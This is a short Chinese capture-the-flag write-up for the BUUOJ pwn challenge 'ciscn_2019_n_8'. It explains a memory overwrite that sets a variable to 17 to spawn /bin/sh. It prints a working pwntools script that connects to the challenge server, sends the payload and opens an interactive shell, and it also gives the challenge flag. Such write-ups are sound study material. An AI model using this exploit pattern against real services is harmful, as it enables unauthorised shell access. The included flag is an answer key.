解析
先checksec一下,发现保护全开。
稍微有些迷茫,之后拖入ida中查看,发现逻辑是这样的。
要存在这个var13的值,之后要这个值等于17的情况下,会跳转到/bin/sh所以大概懂了,如果想要前面要填充0-13的var,那么需要a * (13*4)个之后加一个17之后因为是qword,所以需要在后面用0填一下,所以脚本大概成型。
脚本
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote('node4.buuoj.cn',28239)
#p = process('ciscn_2019_n_8')
payload = b'a' * (13*4) + p32(17) + p32(0)
p.recv()
p.sendline(payload)
p.interactive()
最后flag是flag{40a7b09f-a57d-4812-b888-d22d623b59c3}